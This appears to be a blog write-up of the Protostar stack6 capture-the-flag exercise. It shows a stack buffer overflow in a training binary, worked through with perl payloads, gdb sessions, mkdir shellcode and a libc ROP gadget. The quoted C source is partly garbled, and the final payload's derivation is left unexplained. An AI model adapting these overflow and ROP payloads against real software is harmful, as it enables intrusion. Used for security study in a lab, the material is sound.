Protostar exploits stack6


Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at


Test run

user@protostar:~$ /opt/protostar/bin/stack6
input path please: path
got path path


Make the program spawn shellcode.

#include <stdlib.h>;
#include <unistd.h>;
#include <stdio.h>;
#include <string.h>;

void getpath()
 char buffer[64];
 unsigned int ret;

 printf("input path please: "); fflush(stdout);
 ret = __builtin_return_address(0);

 if((ret & 0xbf000000) == 0xbf000000) {
 printf("bzzzt (%p)\n", ret);
 printf("got path %s\n", buffer);

int main(int argc, char **argv)

We can see the challenge will be to overflow the stack when gets() is called and take control of the program flow when getpath() returns.

First of we have to use the same trick from previous challenges and corrupt the memory stack and using stdin to overflow the variable “buffer” which gets filled using gets() and 76 bytes.

Let’s see if we can crash the program

user@protostar:~$ perl -e 'print "A"x76' |/opt/protostar/bin/stack6
Segmentation fault

It appears that our data of A’s (0x41) was able to cause an segfault after 76 bytes. But 76 bytes enough to overwrite EIP. After some experimentation the right number of bytes to overwrite EIP is 84 bytes.

user@protostar:~$ perl -e 'print "A"x(84-4) . "B"x4'>stack6_input.txt && gdb -q /opt/protostar/bin/stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) r <stack6_input.txt
Starting program: /opt/protostar/bin/stack6 <stack6_input.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0x5e 94
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7c0 0xbffff7c0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x210296 [ PF AF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

We can see from the source that if our buffer EIP over bytes matches 0xbfxxxxxx the program will exit.

Let’s confirm this assumption.

user@protostar:~$ perl -e 'print "A"x(84-4) . "\x11\x22\x33\xbf"'>stack6_input.txt && gdb -q /opt/protostar/bin/stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) r <stack6_input.txt
Starting program: /opt/protostar/bin/stack6 <stack6_input.txt
input path please: bzzzt (0xbf332211)

Program exited with code 01.

So far no surprises.

Now we need to decide what shellcode to use. I will use a Linux 32 bit shellcode that is 36 bytes long (more than adequate size). This shellcode can be obtained from

The shellcode will create the directory “hacked”

 * This shellcode will do a mkdir() of 'hacked' and then an exit()
 * Written by

char shellcode[]=

void main()
 int *ret;
 ret = (int *)&amp;ret + 2;
 (*ret) = (int)shellcode;

Let’s double check that the shellcode doesn’t have any nasty surprises by running it through ndisasm.

$ echo -e "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" |ndisasm -b 32 -
00000000 EB16 jmp short 0x18
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 884606 mov [esi+0x6],al
00000008 B027 mov al,0x27
0000000A 8D1E lea ebx,[esi]
0000000C 66B9ED01 mov cx,0x1ed
00000010 CD80 int 0x80
00000012 B001 mov al,0x1
00000014 31DB xor ebx,ebx
00000016 CD80 int 0x80
00000018 E8E5FFFFFF call dword 0x2
0000001D 6861636B65 push dword 0x656b6361
00000022 64230A and ecx,[fs:edx]

We see a typical jmp call pop sequence for retrieving the string “hacked”=6861636B656423 at location 1D.

We have a syscall int 0x80 0x27 which is mkdir(). Search for x27 at

A second syscall for 0x1 which exit()

Everything looks kosher.

Let’s replace the A’s which caused the program to crash previously with nops=0x90 + shellcode + remaining A’s. Making sure that the exploit equals 84 bytes in total

user@protostar:~$ perl -e 'print "\x90"x(84-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "A"x4'>stack6_input.txt && gdb /opt/protostar/bin/stack6 -q
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) r <stack6_input.txt 
Starting program: /opt/protostar/bin/stack6 <stack6_input.txt
input path please: got path ?????????????????????????????????????????????^1??F?'?f??̀?AAAA?????hacked#AAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x5e 94
ecx            0x0 0
edx            0xb7fd9340 -1208118464
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff770 0xbffff770
ebp            0x2364656b 0x2364656b
esi            0x0 0
edi            0x0 0
eip            0x41414141 0x41414141
eflags         0x210292 [ AF SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

We generated the payload using perl to print the output to a file and then we ran the program through gdb and read the payload file.

Wonderful, EIP contains 0x41414141

Now we need to figure out the start of the shellcode memory location.

Let’s discover the memory location by printing out the stack

(gdb) x /90xb $esp-84
0xbffff71c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff724: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff72c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff734: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff73c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff744: 0x90 0x90 0x90 0x90 0xeb 0x16 0x5e 0x31
0xbffff74c: 0xc0 0x88 0x46 0x06 0xb0 0x27 0x8d 0x1e
0xbffff754: 0x66 0xb9 0xed 0x01 0xcd 0x80 0xb0 0x01
0xbffff75c: 0x41 0x41 0x41 0x41 0xe8 0xe5 0xff 0xff
0xbffff764: 0xff 0x68 0x61 0x63 0x6b 0x65 0x64 0x23
0xbffff76c: 0x41 0x41 0x41 0x41 0x00 0x85 0x04 0x08
0xbffff774: 0x00 0x00

Looks like the nops start at memory location 0xbffff71c in reverse byte order 0x1cf7ffbf

We know that this memory location will cause the program to be blocked at this check

if((ret & 0xbf000000) == 0xbf000000)

Let’s confirm this by replacing the A’s with the memory address

user@protostar:~$ perl -e 'print "\x90"x(84-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "\x1c\xf7\xff\xbf"'>stack6_input.txt && gdb /opt/protostar/bin/stack6 -q

Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) r < stack6_input.txt 
Starting program: /opt/protostar/bin/stack6 < stack6_input.txt
input path please: bzzzt (0xbffff71c)

Program exited with code 01.

Yep, we received the “bzzzt” message.

Now in order to get around the memory location restriction on EIP we will employ a technique called Return Oriented Programming (ROP).

I’ll start by installing ropeme from a utility that will aid us in generating ROP gadgets.

Once installed we will generate the gadgets from libc. Why libc? Because the binary was compiled with libc.

(gdb) i proc mappings
process 10478
cmdline = '/opt/protostar/bin/stack6'
cwd = '/home/user'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

 Start Addr End Addr Size Offset objfile
 0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
 0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
 0xb7e96000 0xb7e97000 0x1000 0
 0xb7e97000 0xb7fd5000 0x13e000 0 /lib/
 0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/
 0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/
 0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/
 0xb7fd9000 0xb7fdc000 0x3000 0
 0xb7fe0000 0xb7fe2000 0x2000 0
 0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
 0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/
 0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/
 0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/
 0xbffeb000 0xc0000000 0x15000 0 [stack]
ROPeMe> generate /lib/
Generating gadgets for /lib/ with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/2
Processing code block 2/2
Generated 5670 gadgets
Dumping asm gadgets to file: ...

Now search for a pop ret gadget

ROPeMe> search pop ?
Searching for ROP gadget: pop ? with constraints: []
0x2992cL: pop ds ;;
0x2993fL: pop ds ;;
0x29be6L: pop ds ;;
0x206acL: pop eax ;;
0xcebe1L: pop eax ;;
0x1047a9L: pop eax ;;
0x16a7dL: pop ebp ;;
0x16aadL: pop ebp ;;
0x16ac3L: pop ebp ;;
0x74886L: pop ebx ;;
0x972f2L: pop ebx ;;
0x975f2L: pop ebx ;;
0x13519dL: pop ecx ;;
0x2bca6L: pop edi ;;
0x2bceaL: pop edi ;;
0x2c29dL: pop edi ;;
0x1a9eL: pop edx ;;
0x1aa2L: pop edx ;;
0x1aa6L: pop edx ;;
0x1a36L: pop es ;;
0x74b89L: pop esi ;;
0x74f4fL: pop esi ;;
0x3848L: pop esp ;;
0x104799L: pop esp ;;
0x1a97L: pop ss ;;

--More-- (24/26)

Tip: stay away from pop ebp ret gadgets because they tend to screw things up. Sorry for being brief but you can research the rest at much better pages.

I think we can take this gadget “0x206acL: pop eax ;;”

We will use this offset and the libc base memory address to determine the actual memory location. 0x206ac + 0xb7e97000 = B7EB76AC

Let’s confirm this

(gdb) x /32ib 0xB7EB76AC
0xb7eb76ac <__ctype_get_mb_cur_max+28>: pop %eax
0xb7eb76ad <__ctype_get_mb_cur_max+29>: ret

Looking good.

Let’s put this address into our exploit payload.

I need to be honest and say that I did a lot more trial and error to get this to work than I anticipated. I had issues with my shellcode being corrupt because of where I placed it in the payload. I finally got it working and the result is here. Sorry for not going into too much detail on how I got it working but maybe in another post.

user@protostar:~$ ls -la
total 57
drwxr-xr-x 6 user user 200 Jun 29 21:50 .
drwxr-xr-x 6 root root 60 Oct 31 2012 ..
-rw------- 1 user user 39396 Jun 29 20:29 .bash_history
-rw-r--r-- 1 user user 220 Apr 10 2010 .bash_logout
-rw-r--r-- 1 user user 3184 Apr 10 2010 .bashrc
drwxr-xr-x 10 user user 320 Jun 29 20:18 distorm
drwxr-xr-x 12 user user 320 Jun 29 20:22 distorm64
-rw------- 1 user user 47 Jun 28 23:01 .lesshst
drwxr-xr-x 4 user user 180 Jun 29 12:58 peda
-rw-r--r-- 1 user user 675 Apr 10 2010 .profile
drwxr-xr-x 4 user user 140 Jun 29 20:24 ropeme
-rw-r--r-- 1 user user 92 Jun 29 21:49 stack6_input.txt
-rw------- 1 user user 670 Jun 29 12:58 .viminfo

No directory named “hacked”

Payload [nops] + [shellcode] + [nops] + [B’s] + [ROP to pop eax ret] + [A’s] + [EIP to front of stack]

I also increased the size of the payload to 92 bytes to accommodate for the ROP gadget.

user@protostar:~$ perl -e 'print "\x90"x(92-36-30-4-4-4-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "\x90"x30 . "B"x4 . "\xac\x76\xeb\xb7" . "A"x4 . "\x1c\xf7\xff\xbf"' | /opt/protostar/bin/stack6

input path please: got path ???????????^1??F?'?f??̀?1?̀?????hacked#???????????????????v뷐???????BBBB?v?AAAA???

Check that we have a new directory named “hacked” exists

user@protostar:~$ ls -la
drwxr-xr-x  7 user user   220 Jun 29 21:59 .
drwxr-xr-x  6 root root    60 Oct 31  2012 ..
drwxr-xr-x  2 root user    40 Jun 29 21:59 hacked

Thank you

One thought on “Protostar exploits stack6

  1. Pingback: ROP (Return Orientated Programming) | youremindmeofmymother

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s